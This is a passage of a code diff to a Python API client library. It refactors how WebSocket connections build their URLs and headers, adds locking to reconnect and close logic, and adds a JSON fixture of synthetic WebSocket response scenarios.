@@ -771,19 +771,37 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -1235,19 +1253,37 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
diff --git a/src/openai/resources/live/sideband.py b/src/openai/resources/live/sideband.py
index 7b72be8e2c..e644fba8c1 100644
--- a/src/openai/resources/live/sideband.py
+++ b/src/openai/resources/live/sideband.py
@@ -14,9 +14,9 @@
from pydantic import BaseModel
from ..._types import Omit, Query, Headers, omit
-from ..._utils import path_template, maybe_transform, strip_not_given, async_maybe_transform
+from ..._utils import is_given, path_template, maybe_transform, strip_not_given, async_maybe_transform
from ..._compat import cached_property
-from ..._models import construct_type_unchecked
+from ..._models import FinalRequestOptions, construct_type_unchecked
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
from ..._send_queue import SendQueue
@@ -560,19 +560,37 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -1034,19 +1052,37 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index f82044055e..55f3908472 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -23,6 +23,7 @@
)
from ..._types import Omit, Query, Headers, omit
from ..._utils import (
+ is_given,
is_azure_client,
maybe_transform,
strip_not_given,
@@ -31,7 +32,7 @@
)
from ..._compat import cached_property
from ..._httpx2 import normalize_httpx_url
-from ..._models import construct_type_unchecked
+from ..._models import FinalRequestOptions, construct_type_unchecked
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
from ..._send_queue import SendQueue
@@ -707,11 +708,10 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
- await self.__client._refresh_api_key()
- auth_headers = self.__client.auth_headers
if self.__call_id is not omit:
extra_query = {**extra_query, "call_id": self.__call_id}
if is_async_azure_client(self.__client):
+ await self.__client._refresh_api_key()
from ...lib._azure_websocket import _AzureWebSocketConnect as connect
model = self.__model
@@ -719,6 +719,7 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
raise OpenAIError("`model` is required for Azure Realtime API")
else:
url, auth_headers = await self.__client._configure_realtime(model, extra_query)
+ prepared_headers: Headers = extra_headers
else:
url = self._prepare_url().copy_with(
params={
@@ -727,19 +728,39 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ auth_headers = self.__client.auth_headers
+ prepared_headers = options.headers if is_given(options.headers) else {}
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ auth_headers,
+ {},
+ self.__client.default_headers,
+ prepared_headers,
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -1198,16 +1219,16 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
- self.__client._refresh_api_key()
- auth_headers = self.__client.auth_headers
if self.__call_id is not omit:
extra_query = {**extra_query, "call_id": self.__call_id}
if is_azure_client(self.__client):
+ self.__client._refresh_api_key()
model = self.__model
if not model:
raise OpenAIError("`model` is required for Azure Realtime API")
else:
url, auth_headers = self.__client._configure_realtime(model, extra_query)
+ prepared_headers: Headers = extra_headers
else:
url = self._prepare_url().copy_with(
params={
@@ -1216,19 +1237,39 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ auth_headers = self.__client.auth_headers
+ prepared_headers = options.headers if is_given(options.headers) else {}
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ auth_headers,
+ {},
+ self.__client.default_headers,
+ prepared_headers,
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index dd75046145..cfcc383faf 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -3,9 +3,9 @@
from __future__ import annotations
import json
-import time
import random
import logging
+import threading
from copy import copy
from types import TracebackType
from typing import (
@@ -33,7 +33,7 @@
from ..._utils import is_given, path_template, maybe_transform, strip_not_given, async_maybe_transform
from ..._compat import cached_property
from ..._httpx2 import normalize_httpx_url
-from ..._models import construct_type_unchecked
+from ..._models import FinalRequestOptions, construct_type_unchecked
from ..._resource import SyncAPIResource, AsyncAPIResource
from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from .input_items import (
@@ -4473,19 +4473,37 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = await self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -4537,6 +4555,8 @@ def __init__(
self._extra_query = extra_query
self._extra_headers = extra_headers
self._intentionally_closed = False
+ self._close_event = threading.Event()
+ self._connection_lock = threading.Lock()
self._is_reconnecting = False
self._send_queue = send_queue or SendQueue()
self._event_handler_registry = EventHandlerRegistry(use_lock=True)
@@ -4591,7 +4611,9 @@ def recv_bytes(self) -> bytes:
If you want to parse the message into a `ResponsesServerEvent` object like `.recv()` does,
then you can call `.parse_event(data)`.
"""
- message = self._connection.recv(decode=False)
+ from ...lib._websocket import _recv_bytes
+
+ message = _recv_bytes(self._connection)
log.debug("Received WebSocket message: %i bytes", len(message))
if self._reconnect_attempt:
# Account for raw application progress without changing frame delivery.
@@ -4628,7 +4650,10 @@ def send_raw(self, data: bytes | str) -> None:
def close(self, *, code: int = 1000, reason: str = "") -> None:
self._intentionally_closed = True
- self._connection.close(code=code, reason=reason)
+ self._close_event.set()
+ with self._connection_lock:
+ connection = self._connection
+ connection.close(code=code, reason=reason)
def parse_event(self, data: str | bytes) -> ResponsesServerEvent:
"""
@@ -4647,7 +4672,7 @@ def _reconnect(self, exc: Exception) -> bool:
Returns ``True`` if a new connection was established, ``False`` if the
caller should re-raise the original exception.
"""
- if self._on_reconnecting is None or self._make_ws is None:
+ if self._on_reconnecting is None or self._make_ws is None or self._close_event.is_set():
return False
from websockets.exceptions import ConnectionClosedError
@@ -4659,7 +4684,8 @@ def _reconnect(self, exc: Exception) -> bool:
if not is_recoverable_close(close_code):
return False
- self._is_reconnecting = True
+ with self._connection_lock:
+ self._is_reconnecting = True
for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
self._reconnect_attempt = attempt
@@ -4698,14 +4724,20 @@ def _reconnect(self, exc: Exception) -> bool:
self._max_retries,
delay,
)
- time.sleep(delay)
-
- if self._intentionally_closed:
+ if self._close_event.wait(delay):
self._is_reconnecting = False
return False
try:
- self._connection = self._make_ws(self._extra_query, self._extra_headers)
+ connection = self._make_ws(self._extra_query, self._extra_headers)
+ with self._connection_lock:
+ closed = self._intentionally_closed
+ if not closed:
+ self._connection = connection
+ if closed:
+ connection.close()
+ self._is_reconnecting = False
+ return False
log.info("Reconnected to WebSocket API")
self._is_reconnecting = False
self._flush_send_queue()
@@ -4939,19 +4971,37 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ options = self.__client._prepare_options(
+ FinalRequestOptions.construct(
+ method="get",
+ url=str(url),
+ headers=dict(extra_headers),
+ security={"bearer_auth": True},
+ )
+ )
+ url = self.__client._prepare_url(options.url).copy_merge_params(
+ self.__client.qs.stringify(cast(Any, options.params))
+ )
+ url = url.copy_with(scheme={"http": "ws", "https": "wss"}.get(url.scheme, url.scheme))
+ headers = {
+ key.lower(): (key, value)
+ for header_set in (
+ self.__client.auth_headers,
+ {},
+ self.__client.default_headers,
+ options.headers if is_given(options.headers) else {},
+ )
+ for key, value in header_set.items()
+ }
log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
- user_agent_header=self.__client.user_agent,
- additional_headers=_merge_mappings(
- {
- **self.__client.auth_headers,
- },
- extra_headers,
- ),
+ user_agent_header=None,
+ additional_headers=_merge_mappings(dict(headers.values()), {}),
**self.__websocket_connection_options,
)
@@ -4979,40 +5029,6 @@ def __init__(self, connection: ResponsesConnection) -> None:
class ResponsesResponseResource(BaseResponsesConnectionResource):
- def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
- """Queues user input to steer a response on this WebSocket connection.
-
- Input
- can contain text, images, and files. Steering is supported only for
- single-agent responses on models and execution modes that support steering.
- Responses bound to a conversation or using automatic compaction do not
- support steering.
-
- A `response.steer.accepted` event acknowledges that the server owns the
- queued input, not that it has been applied. The successor's `response.created`
- event is the commit point. Input that cannot be committed is returned in
- `response.steer.failed`.
-
- Steering may cause the active response to finish at a safe output boundary
- with `response.incomplete` and `incomplete_details.reason` set to `steered`,
- followed automatically by a successor `response.created`. Normal completion
- can also be followed by an automatic successor. Automatic successors inherit
- the previous response's settings and continue from it with the queued input.
-
- If the response stops for client-owned tool output or approval, accepted
- steering input remains queued and `response.steer.pending` is emitted after
- `response.completed`. Fill the `required_input` stubs from that event with
- saved tool results or approval decisions, and send one explicit
- `response.create` per parent with the same `previous_response_id` and
- WebSocket lane. Do not rerun tools or resend accepted steering input. The
- queued input is prepended in submission order to that request's input, and
- the explicit request retains its own settings.
-
- This event accepts only `type`, `previous_response_id`, and `input`. Do not
- send `stream_id`; the target response determines the WebSocket lane.
- """
- self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
-
def create(
self,
*,
@@ -5103,14 +5119,7 @@ def create(
)
)
-
-class BaseAsyncResponsesConnectionResource:
- def __init__(self, connection: AsyncResponsesConnection) -> None:
- self._connection = connection
-
-
-class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
- async def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
+ def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
"""Queues user input to steer a response on this WebSocket connection.
Input
@@ -5142,10 +5151,15 @@ async def steer(self, *, input: ResponseSteerInputParam, previous_response_id: s
This event accepts only `type`, `previous_response_id`, and `input`. Do not
send `stream_id`; the target response determines the WebSocket lane.
"""
- await self._connection.send(
- {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
- )
+ self._connection.send({"type": "response.steer", "input": input, "previous_response_id": previous_response_id})
+
+class BaseAsyncResponsesConnectionResource:
+ def __init__(self, connection: AsyncResponsesConnection) -> None:
+ self._connection = connection
+
+
+class AsyncResponsesResponseResource(BaseAsyncResponsesConnectionResource):
async def create(
self,
*,
@@ -5235,3 +5249,39 @@ async def create(
),
)
)
+
+ async def steer(self, *, input: ResponseSteerInputParam, previous_response_id: str) -> None:
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+ await self._connection.send(
+ {"type": "response.steer", "input": input, "previous_response_id": previous_response_id}
+ )
diff --git a/tests/lib/responses/fixtures/websocket_scenarios.json b/tests/lib/responses/fixtures/websocket_scenarios.json
new file mode 100644
index 0000000000..f660780c68
--- /dev/null
+++ b/tests/lib/responses/fixtures/websocket_scenarios.json
@@ -0,0 +1,533 @@
+{
+ "version": 1,
+ "scenarios": [
+ {
+ "id": "completed_then_completed",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.output_text.delta",
+ "delta": "Synthetic text",
+ "item_id": "msg_test",
+ "content_index": 0,
+ "output_index": 0,
+ "logprobs": [],
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [
+ {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": [
+ {
+ "type": "output_text",
+ "text": "Synthetic text",
+ "annotations": [],
+ "logprobs": []
+ }
+ ]
+ }
+ ],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed"
+ },
+ "sequence_number": 2,
+ "stream_id": "lane-test"
+ }
+ ]
+ },
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test",
+ "previous_response_id": "resp_first",
+ "instructions": null
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed"
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "id": "failed_then_completed",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.failed",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "failed",
+ "error": {
+ "code": "server_error",
+ "message": "Synthetic failure"
+ }
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ },
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test",
+ "previous_response_id": "resp_first",
+ "instructions": null
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed"
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "id": "incomplete_then_completed",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.incomplete",
+ "response": {
+ "id": "resp_first",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "incomplete",
+ "incomplete_details": {
+ "reason": "max_output_tokens"
+ }
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ },
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test",
+ "previous_response_id": "resp_first",
+ "instructions": null
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_second",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed"
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "id": "nested_error_then_completed",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "error",
+ "stream_id": "lane-test",
+ "error": {
+ "type": "invalid_request_error",
+ "code": "invalid_value",
+ "param": "input",
+ "message": "Synthetic invalid input"
+ },
+ "status": 400
+ }
+ ]
+ },
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_after_error",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_after_error",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed"
+ },
+ "sequence_number": 1,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "id": "unknown_event_and_fields",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_unknown",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ {
+ "type": "response.future_event",
+ "sequence_number": 1,
+ "stream_id": "lane-test",
+ "future_payload": {
+ "value": "retained"
+ }
+ },
+ {
+ "type": "response.completed",
+ "response": {
+ "id": "resp_unknown",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "completed",
+ "future_response_field": "retained"
+ },
+ "sequence_number": 2,
+ "stream_id": "lane-test",
+ "future_metadata": {
+ "value": "also retained"
+ }
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "id": "premature_close_1000",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_unfinished",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ],
+ "close_code": 1000
+ },
+ {
+ "id": "premature_close_1011",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_unfinished",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ }
+ ]
+ }
+ ],
+ "close_code": 1011
+ },
+ {
+ "id": "malformed_json",
+ "turns": [
+ {
+ "request": {
+ "type": "response.create",
+ "model": "gpt-4o-mini",
+ "input": "Synthetic input",
+ "stream_id": "lane-test"
+ },
+ "frames": [
+ {
+ "type": "response.created",
+ "response": {
+ "id": "resp_malformed",
+ "object": "response",
+ "created_at": 1,
+ "model": "gpt-4o-mini",
+ "output": [],
+ "parallel_tool_calls": false,
+ "tool_choice": "auto",
+ "tools": [],
+ "status": "in_progress"
+ },
+ "sequence_number": 0,
+ "stream_id": "lane-test"
+ },
+ "{"
+ ]
+ }
+ ]
+ }
+ ]
+}
diff --git a/tests/lib/responses/test_websocket_auth.py b/tests/lib/responses/test_websocket_auth.py
new file mode 100644
index 0000000000..134330550d
--- /dev/null
+++ b/tests/lib/responses/test_websocket_auth.py
@@ -0,0 +1,200 @@
